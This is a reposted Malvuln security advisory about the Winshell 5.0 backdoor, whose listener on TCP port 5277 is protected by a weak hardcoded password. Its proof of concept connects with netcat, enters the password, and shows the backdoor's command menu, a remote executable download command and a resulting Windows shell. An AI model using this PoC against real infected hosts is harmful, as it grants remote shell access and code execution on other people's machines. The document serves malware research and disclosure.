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Backdoor.Win32.Winshell.5_0 / Weak Hardcoded Credentials

CVE Category Price Severity
N/A CWE-798 Not specified High
Author Risk Exploitation Type Date
Unknown High Remote 2022-09-07
CVSS
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2022090018

Below is a copy:

Backdoor.Win32.Winshell.5_0 / Weak Hardcoded Credentials
Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source: https://malvuln.com/advisory/5bc5f72d19019a2fa3b75896e82ae1e5.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Winshell.5_0
Vulnerability: Weak Hardcoded Credentials
Description: The malware is UPX packed, listens on TCP port 5277 and requires authentication for remote access. However, the password "123456789" is weak and hardcoded within the PE file. Unpacking the executable, easily reveals the cleartext password.
Family: Winshell
Type: PE
MD5: 5bc5f72d19019a2fa3b75896e82ae1e5
Vuln ID: MVID-2022-0633
Disclosure: 09/06/2022

Exploit/PoC:
C:\>nc64.exe x.x.x.x 5277
Password:123456789

WinShell v5.0 (C)2002 janker.org

? for help
CMD>?

i Install
r Remove
p Path
b reBoot
d shutDown
s Shell
x eXit
q Quit

Download:
CMD>http://.../srv.exe

? for help
CMD>s
Microsoft Windows [Version 10.0.16299.309]
(c) 2017 Microsoft Corporation. All rights reserved.

C:\dump>

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